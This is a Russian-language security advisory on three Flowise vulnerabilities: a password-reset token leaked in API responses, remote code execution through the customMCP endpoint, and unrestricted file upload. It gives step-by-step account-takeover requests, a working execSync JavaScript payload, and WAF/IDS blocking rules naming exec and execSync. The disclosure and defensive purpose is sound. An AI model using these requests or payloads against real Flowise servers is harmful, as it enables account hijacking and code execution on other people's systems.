CVE-2025–58434 — раскрытие токена сброса пароля, которое приводит к захвату учетной записи в Flowise в версиях <=3.0.5
CVE-2025-59528 позволяет аутентифицированным пользователям удаленно выполнять код (RCE) в Flowise в версиях <=3.0.5.
CVE-2025-61687/CVE-2025-26319 позволяет аутентифицированным пользователям загружать произвольные файлы без надлежащей проверки в Flowise в версиях <=3.0.7.
Flowise — это open-source-платформа с открытым исходным кодом, которая позволяет разработчикам визуально создавать и развёртывать AI-агентов и потоки для работы с большими языковыми моделями (LLM). У нее больше 45 тысяч звезд на github.
💡 Настоятельно рекомендуем обновиться.
👍 Метрики: CVE-2025–58434
Base Core: 9,8
CWE: CWE-306
👍 Метрики:CVE-2025-59528
Base Core: 10
CWE: CWE-94
👍 Метрики:CVE-2025-61687
Base Core: 8.8
CWE: CWE-434
👍 Об уязвимости
Конечная точка
/api/v1/account/forgot-password на вход принимает простой json.{"user":{"email":"XXX@XXX.XXX"}}json передает email-адрес, на который нужно отправить письмо с приватным токеном для смены пароля. На запрос сервер формирует ответ, который раскрывает приватный токен в теле ответа в параметре tempToken.
{"user":{"id":"35c016f5-26cf-464f-81b8-424fb53f7a22","name":"test","email":"XXX@XXX.XXX ","credential":"$2a$05$qwiE0QxVe13PCdAohQ7Oe.NUvw.RrOQgrixnrm1oogMrv7h5dkfyS","tempToken":"SHVoGl0YGEIBjHRFbuTqEu3QyoHxfBMwyGhnyRfWq5Qefp6ExhG3y2fVK8V0OzOk","tokenExpiry":"2025-10-16T11:34:57.584Z","status":"active","createdDate":"2025-10-16T10:40:14.000Z","updatedDate":"2025-10-16T11:19:57.000Z","createdBy":"35c016f5-26cf-464f-81b8-424fb53f7a22","updatedBy":"35c016f5-26cf-464f-81b8-424fb53f7a22"},"organization":{},"organizationUser":{},"workspace":{},"workspaceUser":{},"role":{}}👍 Атака по шагам
Уточнение: для атаки необходимо знать действительный email-адрес.
1) Отправляют запрос на сброс пароля.
2) С помощью BurpSuite перехватывают ответ.
3) Извлекают приватный токен (tempToken) из тела ответа.
4) Формируют ссылку на активацию токена
/reset-password?token=<redacted-tempToken>.5) Сбрасывают пароль на /api/v1/account/reset-password.
{
"user":{
"email":"XXX@XXX.XXX",
"tempToken":"<redacted-tempToken>",
"password":"Admin1234!"
}
}6) Получают ответ с кодом 201, который говорит об успешном изменении пароля.
👍 Возможные последствия
Уязвимость становится в разы опаснее, учитывая CVE-2025-59528 и CVE-2025-61687.
CVE-2025-59528
POST-запрос на конечную точку /api/v1/node-load-method/customMCP с телом:
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"sleep 10\");return 1;})()})"
}
}вызовет RCE, в данном случае sleep 10. Полезная нагрузка может меняться и представлять из себя произвольный JS-код. Пример атаки на скриншоте № 2.
CVE-2025-61687
POST-запросы к /api/v1/attachments/ могут содержать файлы с опасным типом, например JS. Это может позволить злоумышленнику создать shell.
👍 Как защититься
CVE-2025-58434
1) Так как запросы на изменение пароля — легитимные, то и правило на WAF, IDS вызовут ложно положительные сработки.
2) Не возвращать токены сброса пароля или другие чувствительные данные в API-ответах.
3) Логировать и мониторить запросы на сброс пароля, чтобы выявить подозрительную активность.
CVE-2025-59528
— На WAF, IDS написать блокирующее правило на POST-запросы к /api/v1/node-load-method/customMCP, где в параметре
mcpServerConfig предаются операторы js кода например :function(), exec, execSync, return,process и другие.CVE-2025-61687
— На WAF, IDS написать блокирующее правило на POST-запросы к /api/v1/attachments/, которые содержат файлы с опасным расширением, например js, sh, py, php и другие.

